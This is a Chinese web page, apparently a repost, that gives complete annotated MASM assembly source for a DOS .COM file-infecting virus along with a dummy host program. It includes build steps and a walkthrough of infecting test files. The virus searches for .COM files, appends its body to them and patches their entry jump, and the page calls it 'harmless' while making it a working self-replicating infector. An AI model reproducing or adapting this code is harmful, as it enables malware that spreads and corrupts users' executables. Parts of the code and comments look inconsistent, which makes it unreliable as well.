簡單無害的DOS病毒編寫

來源:互聯網
上載者:User

===========BEGIN OF LJ.ASM============
請在DOS下用MASM 5.O編譯,然後用LINK.EXE串連.最後用EXE2BIN串連成.COM檔案,格式如下:
C:/>MASM LJ.ASM 產生.OBJ檔案及.LST檔案
C:/>LINK LJ.OBJ 產生.EXE檔案
C:/>EXE2BIN LJ.EXE LJ.COM
即產生LJ.COM檔案,然後即可直接運行,該程式無任何目的,只用於被病毒感染調試用,可直接運行,格式如下:
C:>LJ
                                                  .19.
原程式如下:
SEG_A         SEGMENT     BYTE PUBLIC
        ASSUME     CS:SEG_A, DS:SEG_A
        ORG     100H
LJJ2         PROC     FAR
START:
    JMP REAL_START
REAL_START:
    NOP
        NOP
        NOP
        MOV     AH,4CH
    INT 21H    
LJJ2         ENDP
SEG_A         ENDS
        end     start

=============BEGIN OF VIRDOS1.ASM============(.COM檔案病毒)
(1)請在DOS下用MASM 5.O編譯,然後用LINK.EXE串連.最後用EXE2BIN串連成.COM檔案,格式如下:
C:/>MASM VIRDOS1.ASM 產生.OBJ檔案及.LST檔案
C:/>LINK VIRDOS1.OBJ 產生.EXE檔案
C:/>EXE2BIN VIRDOS1.EXE VIRDOS1.COM
即產生VIRDOS1.COM檔案,然後即可運行,先看一個偵錯工具LJ.COM的位元組數(如10個位元組長度) 運行格式如下:
C:>VIRDOS1 LJ.COM
在DOS下運行上述命令後即可看到LJ.COM檔案位元組變長,這就是LJ.COM被病毒VIRDOS1.COM第一次感染後的結果.我們可以用COPY命令複製一個同LJ.COM(如10個位元組長度)原程式一樣的程式(未被病毒感染的程式),叫LJ1.COM吧!
被病毒感染的LJ.COM在DOS下啟動並執行格式:
C:>LJ.COM
運行過後我們再查看LJ1.COM檔案長度是否變長了,是的話即LJ1.COM也被病毒感染了.

;本程式調試請使用TR或DEBUG
GoHead MACRO
  MOV AX,4200H           ;移動檔案指標至檔案頭  
  XOR CX,CX
  XOR DX,DX
  INT 21H
  ENDM
  GoTail MACRO      
  MOV AX,4202H           ;移動檔案指標至檔案尾  
  XOR CX,CX
  XOR DX,DX
  INT 21H
ENDM
CODE SEGMENT
  ORG 100H
  ASSUME CS:CODE;DS:CODE
  START: JMP INIZ       ;無條件轉到INIZ(目的執行病毒釋放程式)
BEGIN:
JMP   START1           ;執行病毒第一條指令
FN DB '*.COM',0       ;用於搜尋所有.COM檔案的偽定義
COM_SH_LEN DW 0000H       ;用於目的檔案長度的偽定義(因為病毒載入目的檔案時要
;計算目的檔案長度)
ENDCDE DB 0
OPENMSG DB '***OPEN ERROR ***',0DH,0AH   ;第一次想要釋放病毒時開啟目的檔案錯誤
  FTYPE DB 0                  
  HDI DW 0                  
 
                                                  .22.
  QQ DW 0                  
  KT DW 0                    
  LEN DD 0              
  BUF DB 1024 DUP(0)         ;緩衝區1024位元組
;   STR DB 0DH,0AH,"NO -MATCH! $"
  STR1 DB 0DH,0AH,"FOUND DABIVIRUS,KILLED!$"
  ;STR2 DB 0DH,0AH,"FOUND DABIVIUFS IN MEMORY RDBOOT WITHNO-VIRUS! $"
  BUT DW 0000H
COM_HANDLE DW 0000H         ;檔案控制代碼
INT13H DD 0000H             ;中斷13的儲存地址
INT21H DD 0000H             ;中斷21的儲存地址
INT2FH DD 0000H             ;中斷2F的儲存地址
JJ DW 0000H              
CURRENT_INT DD 3 DUP(0)      
TF DB 2 DUP(0)
COM_BUF DB 0E9H,0,0
COM_BU DB 3 DUP(0)
HEAD1 DB 10 DUP(0)
HEAD7 DB 7 DUP(0)
HEAD3 DB 3 DUP(0)
READ_BUF DB 10 DUP(0)
HEAD2 DB 10 DUP(0)
COM_MSG DB 0AH,0DH
      DB "Notice Ifound Unknow Virus.."
      db 0AH,0DH
      DB "Now,I kill it"
      DB 0AH,0DH,'$'
  LJG DB 0AH,0DH
    DB "I cat not write back file"
    DB 0AH,0DH,'$'
START1:
MOV AH,30H     取DOS版本
  INT 21H
  CMP BL,5BH   是5.0版嗎,不是轉NEXT
  JNZ NEXT
  ; LEA DX,STR2+7
  JMP EXIT7   ;無條件轉EXIT7
NEXT: MOV BL,DS:[80H] ;取.COM檔案80H緩衝區.(80H區作用請參考本書其他章節)
  OR BL,BL       ;BL或運算
; JNZ NEXT1
  JMP NEXT1     ;轉NEXT1
NEXT1:XOR BH,BH     ;BH或運算
 
                                                  .23.
MOV BYTE PTR [BX+81],0 ;[BX+81]單元置0
  MOV SI,81H         ;SI=81H

LOOP1:LODSB          
CMP AL,20H           ;SI是否為空白格,相等轉LOOP1,不相等SI=SI-
JZ LOOP1
DEC SI
LEA DI,FN+[DI]       ;DI=檔案被病毒感染後的(*.COM)字元
  PUSH BX
; PUSH DI
MOV CX,BX           ;不為0時重複傳送指令
REPNZ MOVSB
  XOR CX,CX     ;取被病毒感染後0101單元內容,該內容記載病毒程式的入口位置
  MOV DI,101H
  MOV BX,[DI]
LEA DX,FN+[BX]   ;被病毒感染後.COM字元的正確位置
MOV CX,0
MOV AH,4EH     ;搜尋.COM檔案
INT 21H
LOOP2:JNC NEXT2 ;沒錯轉NEXT2
JMP EXITE
NEXT2:
MOV DI,00H
MOV BP,0101H
MOV DI,[BP]   ;取被病毒感染後0101單元內容,該內容記載病毒程式的入口位置送DI
PUSH DI
XOR CX,CX
; LEA SI,READ_BUF+[DI]
  LEA SI, HEAD3+[DI]     ;恢複被病毒感染後原檔案第一條指令,以便檔案能正常運行
  MOV DI,100H
  MOV CX,3
  CLD
  REP MOVSB
POP DI
MOV AH,2FH
  INT 21H
  PUSH ES     ;設定磁碟傳送地址
  POP DS
  ADD BX,1EH
  PUSH BX
; POP DI     ;計算BX在80區的正確位置
  POP DX
 
                                                  .24.
CALL SCAN   ;調用搜尋模組,成功轉YY
  JNC YY
  JMP EXITE
YY:   MOV AH,4FH ;搜尋下一個.COM檔案
 
INT 21H
  JC EXIT7
  JMP LOOP2
EXIT7:JMP DI   ;轉0100H繼續執行原檔案
SCAN PROC NEAR   ;搜尋.COM檔案模組
MOV SI,DX     ;SI=DX
; POP DI
MOV BP,DI     ;BP=DI
PUSH BP     ;BP入棧
CALL DISP     ;調用顯示字母(檔案名稱.COM)字元模組
CLD         ;去方向

LP1:LODSB     ;裝入AL
  CMP AL,'.'   ;比較是否為”.”字元
  JZ SL       ;相等轉SL
  CMP AL,0     ;比較是否為0,不相等轉LP1
  JNZ LP1
  JMP EXITS
SL:LES AX,[SI]   ;將SI的單元內容送AX,SI+2=ES的單元內容送BX
  MOV BX,ES
  CMP AX,4F43H ;比較是否為CO字元
JNZ EXITS     ;不相等轉EXITS
CMP BL,4DH     ; 比較是否為M字元
JNZ EXITS     ;不相等轉EXITS
JMP GOKILL   ;轉GOKILL
GOKILL:CALL KILL ;調用感染模組
EXITE: XOR AX,AX
XOR BX,BX
XOR DX,DX       ;寄存器清0,並轉0100H執行原檔案
XOR SI,SI
MOV DI,0100H
JMP DI
EXITS:RET
SCAN ENDP
KILL PROC NEAR
MOV AX,3D02H     ;讀寫開啟檔案
INT 21H       ;開啟目標檔案的.COM檔案,準備感染(目標檔案的意思是正在啟動並執行檔案
JNC COM       ;如A.COM開啟另一個B.COM檔案
                                                  .25.
JMP EXITK
COM:MOV BX,AX
;MOV DI,00H
;MOV BP,0101H
;MOV DI,[BP]
  MOV AX,4200H
  XOR CX,CX     ;移動檔案指標至檔案頭
  MOV DX,0
  INT 21H
MOV CX,3
LEA DX,COM_BUF+[DI]     ;讀檔案頭三個位元組入正在啟動並執行檔案COM_BUF+[DI]位移地址
MOV AH,3FH           ;處
INT 21H
;JMP COM1
  MOV AX,4200H
  XOR CX,CX
  MOV DX,0       ;移動檔案指標至檔案頭
  INT 21H
MOV CX,3
LEA DX,HEAD3+[DI]   ;讀檔案頭三個位元組入正在啟動並執行檔案HEAD3+[DI]位移地址處
MOV AH,3FH
INT 21H
JMP COM1       ;轉COM1
COM1:MOV AL,COM_BUF+[DI]   ;比較目標檔案0100H處是否為此0E9H(即JMP)
  CMP AL,0E9H         ;是的話轉COM2準備感染
  JZ COM2
  JMP EXITR  
COM2:
  GoTail       ;移動檔案指標至檔案尾
  MOV WORD PTR [COM_SH_LEN+[DI]] ,AX ;目標檔案長度送[COM_SH_LEN+[DI]]的位移地址處
  ADD AX,0FFFDH               ;AX=目標檔案長度-2
  MOV WORD PTR [COM_BUF+1+[DI]],AX   ;送入[COM_BUF+[DI]]
  PUSH AX                   ;AX入棧
; MOV WORD PTR [TF+[DI]],AX
  LEA DX, BEGIN+[DI]           ;將BEGIN+[DI]位移地址送DX
  MOV CX,063DH               ;寫病毒CX=063DH(H為十六進位)入目標檔案
; ADD WORD PTR COM_SH_LEN+[BP],CX
  MOV AH,40H
  INT 21H
  JMP HL
HL:

                                                  .26.

MOV AX,4200H
  XOR CX,CX     ;移動檔案指標至0101H處
  MOV DX,1
  INT 21H
  POP AX     ;AX出棧(AX=目標檔案長度-2)
MOV WORD PTR KT+[DI],AX ;送入KT+[DI]位移地址處
MOV AH,40H
LEA DX,KT+[DI]   ;寫2個位元組入0101H處,目的是目標檔案被病毒感染後第一條指令
  MOV CX,2       ;被修改成(JMP 後加病毒入口地址)
  INT 21H
  JMP EXITR
EXITR:MOV AH,3EH   ;關閉檔案
INT 21H
EXITK:RET   ;返回調用處
KILL ENDP
DISP PROC NEAR
  PUSH SI
  MOV AL,0DH
  MOV AH,0EH
  INT 10H
  MOV AL,0AH     ;顯示字元模組,搜尋時顯示(檔案名稱.COM)
  MOV AH,0EH
  INT 10H
  CLD
DD1:LODSB
  CMP AL,0
  JZ EXITD
  MOV AH,0EH
  INT 10H
  JMP DD1
EXITD:POP SI
  RET
DISP ENDP
INIZ:
MOV AX,3513H
INT 21H
MOV WORD PTR INT13H,BX     ;取中斷13向量地址送入;INT13H,INT13H+2
MOV WORD PTR [INT13H+2],ES   ;位移地址處
MOV AX,3521H
INT 21H
MOV WORD PTR INT21H,BX     ;取中斷21向量地址送入INT21H,INT21H+2位移地址處
MOV WORD PTR [INT21H+2],ES
                                                  .27.
MOV AX,352FH
INT 21H
MOV WORD PTR INT2FH,BX     ;取中斷2F向量地址送入INT2FH,INT2FH+2位移地址處
MOV WORD PTR [INT2FH+2],ES
PUSH DS       ;DS=ES
POP ES
MOV SI,082H   ;SI=082H
MOV DI,OFFSET PATH   ;DI=PATH單元
CLD             ;去方向
MOVE:
  CMP BYTE PTR DS:[SI],0DH ;比較是否有斷行符號鍵
  JE CON4             ;相等轉CON4
  MOVSB               ;不相等重複傳送位元組
  JMP MOVE             ;無條件轉MOVE
CON4:
XOR AL,AL
MOV ES:[DI],AL       ;PATH位移地址送DX
MOV DX,OFFSET PATH   ;按路徑開啟檔案名稱(格式為原檔案名稱 目的檔案名稱)
MOV AX,3D02H       ;準備第一次感染
INT 21H
JNC CONTINUE   ;開啟成功轉CONTINUE
JMP OPEN_ERROR
CONTINUE:
  MOV DS:HANDLE,AX ;檔案控制代碼送DS:HANDLE,BX
  MOV BX,AX
  GoHead         ;移動檔案指標至檔案頭
  MOV BX,DS:HANDLE
  MOV AH,3FH
  MOV DX,OFFSET READ_BUF   ;讀檔案頭10個位元組入READ_BUF
  MOV CX,10
  INT 21H
  MOV SI,OFFSET READ_BUF
  MOV DI,OFFSET HEAD3       ;三個送HEAD3地址位移處
  MOV CX,3
  CLD
  REP MOVSB
  MOV CX,7
  MOV DI,OFFSET HEAD7       ;七個送HEAD7
  REP MOVSB
  GoTail     ;移動檔案指標至檔案尾
  MOV WORD PTR COM_SH_LEN,AX   ;AX=目標檔案長度-2
  ADD AX,0FFFDH
  MOV WORD PTR [COM_BUF+1],AX
                                                  .28.
ADD AX,0FFFEH     ;AX=目標檔案長度-3
  MOV WORD PTR BUT,AX ;送入BUT位移地址
  MOV DX,OFFSET BEGIN
  MOV CX,OFFSET INIZ     ;計算INIZ-BEGIN地址單元中長度送CX,即計算病毒長度-3
  SUB CX,OFFSET BEGIN
  ADD WORD PTR COM_SH_LEN,CX   ;寫病毒程式入目標檔案(長度=CX)
  MOV AH,40H
 
INT 21H
  GoHead         ;移動檔案指標至檔案頭
  MOV DX,OFFSET COM_BUF
  MOV CX,3             ;寫三個位元組COM_BUF處內容寫入目標檔案頭
  MOV AH,40H
  INT 21H
  MOV AH,3EH       ;關閉檔案
  INT 21H
  MOV AH,09H
  MOV DX,OFFSET MSG2
  INT 21H
JMP EXIT
OPEN_ERROR:
  MOV AH,09H
  MOV DX,OFFSET MSG1
  INT 21H
EXIT:
MOV AH,4CH       ;結束並返回DOS
INT 21H
PATH DB 62 DUP(0)   ;檔案路徑用的緩衝區
MSG1 DB 0DH,0AH,"File can not open!$"
MSG2 DB "Now I have pritected this file.$"
HANDLE DW 0000H     ;檔案控制代碼用
CODE ENDS
END START

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.